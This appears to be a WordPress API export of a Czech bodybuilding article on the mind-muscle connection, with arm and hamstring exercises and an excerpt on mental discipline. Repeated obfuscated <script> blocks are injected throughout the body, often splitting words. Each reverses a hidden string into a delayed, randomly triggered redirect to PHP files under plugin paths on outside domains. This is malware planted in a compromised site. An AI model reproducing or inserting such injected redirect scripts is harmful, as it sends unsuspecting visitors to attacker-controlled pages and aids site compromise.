return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e dos\u00e1hnete lep\u0161\u00edho prota\u017een\u00ed dlouh\u00e9 hlavy tricepsu. Koncentrickou f\u00e1zi opakov\u00e1n\u00ed (pohyb dol\u016f) budete prov\u00e1d\u011bt v&nbsp;b\u011b\u017en\u00e9m tempu, v&nbsp;doln\u00ed f\u00e1zi dbejte na dosa\u017een\u00ed siln\u00e9 kontrakce a excentrickou f\u00e1zi (pohyb nahoru) prov\u00e1d\u011bjte kontrolovan\u011b a pomalu (po\u010d\u00edtejte do t\u0159\u00ed).<\/p>\n\n\n\n<p><strong>Na co se zam\u011b\u0159it:<\/strong> probl\u00e9mem p\u0159i tr\u00e9ninku triceps\u016f b\u00fdv\u00e1, \u017ee hodn\u011b spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f \u201ec\u00edt\u00ed\u201c sp\u00ed\u0161e lokty ne\u017e svaly samotn\u00e9. To ale b\u00fdv\u00e1 zp\u016fsobeno pr\u00e1v\u011b t\u00edm, \u017ee se chybn\u011b zam\u011b\u0159uj\u00ed pr\u00e1v\u011b na kloub nikoliv na sval. Zcela z\u00e1sadn\u00ed je tak\u00e9 striktn\u00ed proveden\u00ed cviku a pou\u017eit\u00ed adekv\u00e1tn\u00ed (tzn. ne p\u0159\u00edli\u0161 vysok\u00e9) z\u00e1t\u011b\u017ee. Jen se n\u011bkdy poptejte star\u0161\u00edch cvi\u010denc\u016f, uvid\u00edte, \u017ee v\u011bt\u0161ina z&nbsp;nich si bude st\u011b\u017eovat na bolesti lokt\u016f a zap\u0159\u00edsahat se, \u017ee m\u011bli cvi\u010dit s&nbsp;leh\u010d\u00ed v\u00e1hou a v\u010das vy\u0159adit francouzsk\u00e9 tlaky.<\/p>\n\n\n\n<p><strong>Tip pro v\u00e1s:<\/strong> odcvi\u010dte 2-4 s\u00e9rie o 8-15 opakov\u00e1n\u00edch. Pokud jste doposud byli zvykl\u00ed na svi\u017en\u00e9 proveden\u00ed <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to cviku, pomal\u00e1 excentrick\u00e1 f\u00e1ze pro v\u00e1s mo\u017en\u00e1 bude zpo\u010d\u00e1tku hodn\u011b nep\u0159\u00edjemn\u00fdm z\u00e1\u017eitkem. M\u011bjte ale na pam\u011bti, \u017ee v&nbsp;tr\u00e9ninku jde sp\u00ed\u0161e o kvalitu ne\u017e kvantitu.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>BICEPSY<\/strong><\/h2>\n\n\n\n<p><strong>JEDNADVAC\u00cdTKA SE SPODN\u00cd KLADKOU<\/strong><\/p>\n\n\n\n<div class=\"wp-block-media-text alignwide has-media-on-the-right is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"778\" height=\"799\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/06\/svaly-mysl2.jpg\" alt=\"\" class=\"wp-image-715 size-full\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/06\/svaly-mysl2.jpg 778w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/06\/svaly-mysl2-292x300.jpg 292w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/06\/svaly-mysl2-768x789.jpg 768w\" sizes=\"auto, (max-width: 778px) 100vw, 778px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>Ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tokr\u00e1t p\u0159ijde ke slovu unilater\u00e1ln\u00ed cvik, kter\u00fd v\u00e1m umo\u017en\u00ed soust\u0159edit ve\u0161kerou pozornost v\u017edy v\u00fdhradn\u011b na jeden biceps. Uchopte spodn\u00ed kladku a odcvi\u010dte sedm opakov\u00e1n\u00ed v&nbsp;doln\u00ed polovin\u011b pohybov\u00e9ho rozsahu, pak n\u00e1sleduje sedm opakov\u00e1n\u00ed v&nbsp;horn\u00ed polovin\u011b, a nakonec sedm opakov\u00e1n\u00ed v&nbsp;pln\u00e9m rozsahu pohybu. Tot\u00e9\u017e opakujte na druhou ruku.<\/p>\n\n\n\n<p><strong>Na co se zam\u011b\u0159it:<\/strong> z\u00e1kladn\u00edm probl\u00e9mem b\u00fdv\u00e1 v&nbsp;tr\u00e9ninku biceps\u016f v\u011bt\u0161inou skute\u010dnost, \u017ee spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovci s&nbsp;proveden\u00edm cvik\u016f p\u0159\u00edli\u0161 sp\u011bchaj\u00ed. T\u00edm ale naru\u0161\u00ed spr\u00e1vn\u00e9 proveden\u00ed cvik\u016f a logicky nemohou o\u010dek\u00e1vat optim\u00e1ln\u00ed v\u00fdsledky. Pokud m\u00e1te probl\u00e9m dos\u00e1hnout propojen\u00ed mezi mysl\u00ed a svalem p\u0159i korektn\u00edm proveden\u00ed, ne\u010dekejte, \u017ee <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to bude lep\u0161\u00ed, kdy\u017e zrychl\u00edte.<\/p>\n<\/div><\/div>\n\n\n\n<p><strong>Tip pro v\u00e1s:<\/strong> odcvi\u010dte 2-3 s\u00e9rie o 7-7-7 opakov\u00e1n\u00edch se st\u0159edn\u011b velkou v\u00e1hou. A klidn\u011b n\u011bkdy m\u00eds<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to \u010dinek pou\u017eijte odporov\u00e9 gumy, n\u00e1r\u016fst tenze ve svalu v&nbsp;pr\u016fb\u011bhu pohybu (jak se guma nap\u00edn\u00e1) skv\u011ble napom\u00e1h\u00e1 proc\u00edt\u011bn\u00ed procvi\u010dovan\u00e9 svalov\u00e9 partie.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>HAMSTRINGY<\/strong><\/h2>\n\n\n\n<p><strong>ZAKOP\u00c1V\u00c1N\u00cd V&nbsp;\u010c\u00c1STE\u010cN\u00c9M ROZSAHU POHYBU<\/strong><\/p>\n\n\n\n<div class=\"wp-block-media-text alignwide is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"831\" height=\"595\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/06\/svaly-mysl3.jpg\" alt=\"\" class=\"wp-image-716 size-full\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/06\/svaly-mysl3.jpg 831w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/06\/svaly-mysl3-300x215.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/06\/svaly-mysl3-768x550.jpg 768w\" sizes=\"auto, (max-width: 831px) 100vw, 831px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>Jak u\u017e n\u00e1zev napov\u00edd\u00e1, <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tohle cvi\u010den\u00ed v\u00e1s zavede k&nbsp;p\u0159\u00edstroji na zakop\u00e1v\u00e1n\u00ed. Op\u011brky nohou si nastavte hned nad kotn\u00edky a zvolte st\u0159edn\u011b velkou v\u00e1hu. Lehn\u011bte si na b\u0159icho a nohy zvedn\u011bte do pozice nejsiln\u011bj\u0161\u00ed kontrakce. Z&nbsp;t\u00e9<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to polohy pak prov\u00e1d\u011bjte opakov\u00e1n\u00ed zhruba v&nbsp;jedn\u00e9 t\u0159etin\u011b dr\u00e1hy pohybu. Sna\u017ete se odcvi\u010dit 40-50 opakov\u00e1n\u00ed. Teprve pak odcvi\u010dte 8-15 opakov\u00e1n\u00ed v&nbsp;pln\u00e9m pohybov\u00e9m rozsahu.<\/p>\n<\/div><\/div>\n\n\n\n<p><strong>Na co se zam\u011b\u0159it:<\/strong> o hamstrinz\u00edch se dob\u0159e v\u00ed, \u017ee pat\u0159\u00ed ke sval\u016fm, kter\u00e9 p\u0159i cvi\u010den\u00ed nejdou dob\u0159e proc\u00edtit. Ov\u0161em proveden\u00ed opakov\u00e1n\u00ed v&nbsp;\u010d\u00e1ste\u010dn\u00e9m rozsahu pohybu povede k&nbsp;velmi siln\u00e9 aktivaci sval\u016f, co\u017e se z\u00e1konit\u011b odraz\u00ed i na neuromuskul\u00e1rn\u00edm propojen\u00ed. A\u017e pak nav\u00e1\u017eete opakov\u00e1n\u00edmi v&nbsp;cel\u00e9m rozsahu, dos\u00e1hnete kvalitn\u00edho prokrven\u00ed po cel\u00e9 d\u00e9lce hamstring\u016f a sami pozn\u00e1te, \u017ee i ty<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to svaly je mo\u017en\u00e9 c\u00edtit.<\/p>\n\n\n\n<p><strong>Tip pro v\u00e1s:<\/strong> je zde ur\u010dit\u00e9 riziko svalov\u00fdch k\u0159e\u010d\u00ed, tak\u017ee bu\u010fte opatrn\u00ed, ale ur\u010dit\u011b cvik vyzkou\u0161ejte, na pos\u00edlen\u00ed spojen\u00ed mezi svalem a mysl\u00ed je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to jeden z&nbsp;v\u016fbec nejlep\u0161\u00edch.<\/p>\n\n\n\n<p><strong>Pomoc\u00ed uveden\u00fdch cvik\u016f m\u00e1te mo\u017enost natr\u00e9novat kvalitn\u00ed propojen\u00ed mezi procvi\u010dovan\u00fdm svalem a svoj\u00ed mysl\u00ed, kter\u00e9 pak u\u017e p\u0159i ostatn\u00edch form\u00e1ch cvi\u010den\u00ed dos\u00e1hnete sn\u00e1ze. Jedn\u00e1 se o velmi efektivn\u00ed cestu ke zv\u00fd\u0161en\u00ed kvality dosa\u017een\u00fdch v\u00fdsledk\u016f.<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Zam\u011b\u0159te se na propojen\u00ed mezi svalem a mysl\u00ed a objevte v\u00a0sob\u011b vnit\u0159n\u00ed s\u00edlu, kter\u00e1 v\u00e1m pom\u016f\u017ee k\u00a0v\u011bt\u0161\u00edmu \u00fasp\u011bchu v\u00a0posilovn\u011b i mimo ni. Jako tvrd\u011b tr\u00e9nuj\u00edc\u00ed sportovci u\u017e jist\u011b v\u00edte, co znamenaj\u00ed slova pevn\u00e1 v\u016fle a ob\u011btavost. P\u0159esn\u011b tyhle vlastnosti v&nbsp;sob\u011b posilujete poka\u017ed\u00e9, kdy\u017e si ve\u010der nelehnete na gau\u010d, ale jdete cvi\u010dit, v\u017edycky, kdy\u017e si k&nbsp;sn\u00eddani ned\u00e1te koblihu, ale omeletu z&nbsp;b\u00edlk\u016f. \u00dasp\u011bch je toti\u017e v&nbsp;mnoha ohledech sp\u00ed\u0161e d\u00edlem \u00fasil\u00ed nikoliv v\u00fdsledkem talentu. A v\u017edycky d\u00e1v\u00e1 smysl p\u0159istupovat k&nbsp;tr\u00e9ninku s&nbsp;pozitivn\u00edm nalad\u011bn\u00edm, vyzbrojeni v\u00edrou, \u017ee ze sebe vyd\u00e1te maximum. Prakticky ka\u017ed\u00e9ho za\u010d\u00e1te\u010dn\u00edka, kter\u00fd posb\u00edr\u00e1 p\u00e1r zku\u0161enost\u00ed, d\u0159\u00edve nebo pozd\u011bji p\u0159ekvap\u00ed, jak moc jsou tr\u00e9ninkov\u00e9 v\u00fdsledky ovlivn\u011bny ment\u00e1ln\u00edm nastaven\u00edm. V\u011bt\u0161ina renomovan\u00fdch tren\u00e9r\u016f tvrd\u00ed, \u017ee sport je ze 100 % o psychice. A na\u0161e psychika velmi \u00fazce souvis\u00ed s&nbsp;fyzi\u010dkou, co\u017e samoz\u0159ejm\u011b plat\u00ed i naopak. F\u00e1ze, kdy si tohle v\u0161echno uv\u011bdom\u00edte, je pro va\u0161i dal\u0161\u00ed kari\u00e9ru naprosto z\u00e1sadn\u00ed. V&nbsp;tuto chv\u00edli ale obvykle neum\u00edte s&nbsp;ment\u00e1ln\u00edm aspektem v\u00fdkonu pracovat. A zejm\u00e9na v&nbsp;p\u0159edsout\u011b\u017en\u00edm obdob\u00ed v\u00e1s slabiny psychiky doh\u00e1n\u00ed na ka\u017ed\u00e9m kroku. Hlavn\u011b, co se t\u00fd\u010de diety. Bez ohledu na to, v&nbsp;jak\u00e9 kategorii z\u00e1vod\u00edte, doba p\u0159ed sout\u011b\u017e\u00ed b\u00fdv\u00e1 n\u00e1ro\u010dn\u00e1 a dieta skute\u010dn\u011b mu\u010div\u00e1. Jen se p\u0159iznejte, koho z&nbsp;v\u00e1s pron\u00e1sleduj\u00ed my\u0161lenky na j\u00eddla, kter\u00e1 si nem\u016f\u017eete dop\u0159\u00e1t. A kdy\u017e chyb\u00ed ohledupln\u00e9, ch\u00e1paj\u00edc\u00ed okol\u00ed, je to v\u0161echno mnohem t\u011b\u017e\u0161\u00ed. P\u0159ijde \u010das ob\u011bda a vy otev\u00edr\u00e1te krabi\u010dku s&nbsp;ku\u0159ec\u00edmi prs\u00ed\u010dky, zeleninou a r\u00fd\u017e\u00ed, zat\u00edmco na druh\u00e9m konci kancel\u00e1\u0159e pr\u00e1v\u011b posl\u00ed\u010dek rozd\u011bluje koleg\u016fm krabice s&nbsp;pizzou. N\u011bkdo zachyt\u00ed v\u00e1\u0161 smutn\u00fd pohled nab\u00eddne v\u00e1m. &nbsp;Neodol\u00e1te a d\u00e1te si alespo\u0148 mal\u00fd kousek nebo z\u016fstanete v\u011brn\u00ed sv\u00e9 diet\u011b? Ti nejoddan\u011bj\u0161\u00ed sportovci \u0159eknou \u201ene, d\u00edky\u201c bez mrknut\u00ed oka, proto\u017ee jejich mozek u\u017e je prost\u011b takhle nastaven\u00fd. Takov\u00fd p\u0159\u00edstup si ale v\u011bt\u0161inou museli vytr\u00e9novat stejn\u011b, jako svoje svaly. Tud\u00ed\u017e to, co t\u0159eba tak dob\u0159e nezvl\u00e1d\u00e1te nyn\u00ed, si v\u00fdhledov\u011b m\u016f\u017eete bravurn\u011b osvojit, pokud na sob\u011b adekv\u00e1tn\u011b zapracujete. Jen je dobr\u00e9 si uv\u011bdomit, \u017ee kapacita va\u0161\u00ed sebekontroly nen\u00ed nekone\u010dn\u00e1. D\u00e1v\u00e1 tedy smysl na sebe kl\u00e1st n\u00e1roky, ale mus\u00ed b\u00fdt rozumn\u00e9 a re\u00e1ln\u00e9. Postupn\u011b je m\u016f\u017eete navy\u0161ovat a tr\u00e9novat tak svoji v\u016fli. KDY\u017d SE MYSL 